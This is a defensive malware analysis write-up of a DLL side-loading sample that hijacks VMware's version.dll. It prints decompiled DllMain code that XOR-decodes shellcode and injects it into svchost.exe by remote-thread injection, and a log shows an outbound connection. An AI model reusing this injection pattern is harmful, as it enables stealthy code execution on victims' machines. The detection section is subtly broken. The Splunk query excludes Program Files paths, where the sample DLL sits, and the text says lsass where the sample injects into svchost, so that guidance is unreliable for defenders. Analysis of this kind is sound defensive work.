DLL side-loading abuses the Windows DLL search order. When an executable calls LoadLibrary with a relative path (just a filename, no directory), Windows searches in this order: the directory containing the executable, the current working
directory, System32, SysWOW64, Windows directory, then PATH directories. By placing a malicious DLL in the same directory as a legitimate executable, an attacker ensures their DLL loads instead of the legitimate one.
The sample — VMware side-loading
The sample uses VMware Workstation’s vmware-vmx.exe as the carrier. VMware loads several DLLs from its installation directory by name. The target DLL is version.dll — a Windows system DLL that VMware loads for version
checking functions.
# Verify the legitimate VMware binary loads version.dll # Using Process Monitor during VMware startup: # Path: C:\Program Files (x86)\VMware\VMware Workstation\version.dll # Result: NAME NOT FOUND # Path: C:\Windows\system32\version.dll # Result: SUCCESS # The "NAME NOT FOUND" for the local directory is the vulnerability # If we place version.dll there, it will load instead
Static analysis — identifying the malicious DLL
# Check if the DLL is signed sigcheck64.exe -nobanner malicious_version.dll # Verified: Unsigned # File description: (empty) # Original Name: (empty) # Internal Name: (empty) # The legitimate version.dll: sigcheck64.exe C:\Windows\system32\version.dll # Verified: Signed # Signing date: (legitimate timestamp) # Publisher: Microsoft Windows
Open the malicious DLL in Ghidra. The DLL exports the same functions as the legitimate version.dll to prevent crashes:
GetFileVersionInfoA GetFileVersionInfoByHandle GetFileVersionInfoExA GetFileVersionInfoExW GetFileVersionInfoSizeA GetFileVersionInfoSizeExA GetFileVersionInfoSizeExW GetFileVersionInfoSizeW GetFileVersionInfoW VerFindFileA VerFindFileW VerInstallFileA VerInstallFileW VerLanguageNameA VerLanguageNameW VerQueryValueA VerQueryValueW
These are proxied to the real C:\Windows\System32\version.dll to maintain legitimate functionality. The malicious logic runs in DllMain:
// Decompiled DllMain (simplified from Ghidra output)
BOOL DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
// Create thread for payload execution
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)payloadThread, NULL, 0, NULL);
CloseHandle(hThread);
}
return TRUE;
}
DWORD WINAPI payloadThread(LPVOID lpParam) {
// Decode XOR-encrypted shellcode
unsigned char shellcode[] = { 0x48, 0x31, 0xc9, ... };
unsigned char key[] = { 0xDE, 0xAD, 0xC0, 0xDE };
for (int i = 0; i < sizeof(shellcode); i++) {
shellcode[i] ^= key[i % 4];
}
// Allocate RWX memory in svchost.exe and inject
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, svchost_pid);
LPVOID pRemote = VirtualAllocEx(hProc, NULL, sizeof(shellcode),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, pRemote, shellcode, sizeof(shellcode), NULL);
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemote, NULL, 0, NULL);
return 0;
}
Dynamic analysis — Process Monitor
# ProcMon filter settings: # Process Name: vmware-vmx.exe # Operation: Load Image # Capture output shows: Time Process Operation Path 23:22:41 vmware-vmx Load Image C:\Program Files (x86)\VMware\...\version.dll 23:22:41 vmware-vmx Load Image C:\Windows\System32\ntdll.dll 23:22:41 vmware-vmx Create Thread (remote) -> svchost.exe PID 1234 23:22:41 svchost.exe TCP Connect 203.0.113.50:443
Sysmon detection
Event ID 7 (ImageLoaded) with a rule targeting DLLs loaded from outside standard directories:
<ImageLoad onmatch="include">
<!-- Flag DLLs loaded from Program Files subdirectories
that exist in System32 (side-loading indicator) -->
<ImageLoaded condition="contains">Program Files</ImageLoaded>
</ImageLoad>
<ImageLoad onmatch="exclude">
<!-- Known legitimate vendor DLLs in Program Files - add yours -->
<Signed condition="is">true</Signed>
</ImageLoad>
In Splunk, correlating Event ID 7 with a process-to-lsass network connection shortly after:
index=sysmon EventCode=7 earliest=-1h
ImageLoaded!="C:\Windows\*" AND ImageLoaded!="C:\Program Files\*"
Signed=false
| join type=inner host [
search index=sysmon EventCode=3 DestinationIp!=10.0.0.0/8 earliest=-1h
]
| table _time, host, Image, ImageLoaded, DestinationIp, DestinationPort